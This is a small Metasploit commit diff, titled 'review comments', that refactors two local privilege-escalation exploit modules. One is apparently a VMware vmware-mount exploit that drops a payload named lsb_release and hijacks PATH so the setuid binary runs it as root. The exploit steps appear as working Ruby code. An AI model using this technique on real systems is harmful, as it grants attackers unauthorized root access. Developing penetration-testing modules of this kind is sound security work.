review comments

This commit is contained in:
h00die
2022-10-08 09:16:57 -04:00
parent 525d2ff4ea
commit a3eee73efb
2 changed files with 6 additions and 7 deletions
@@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
end
register_file_for_cleanup path
chmod path, 0o755
chmod path, 0755
end
def strip_comments(c_code)
+5 -6
View File
@@ -63,8 +63,11 @@ class MetasploitModule < Msf::Exploit::Local
]
end
def vmware_mount
'/usr/bin/vmware-mount'
end
def check
vmware_mount = '/usr/bin/vmware-mount'
return CheckCode::Safe("#{vmware_mount} file not found") unless file? vmware_mount
return CheckCode::Safe("#{vmware_mount} is not setuid") unless setuid? vmware_mount
@@ -79,13 +82,9 @@ class MetasploitModule < Msf::Exploit::Local
lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
write_file(lsb_path, generate_payload_exe)
cmd_exec("chmod +x #{lsb_path}")
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH /usr/bin/vmware-mount")
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH #{vmware_mount}")
# Delete it here instead of using FileDropper because the original
# session can clean it up
cmd_exec("rm -f #{lsb_path}")
end
def setuid?(remote_file)
!!(cmd_exec("test -u #{remote_file.strip} && echo true").index 'true')
end
end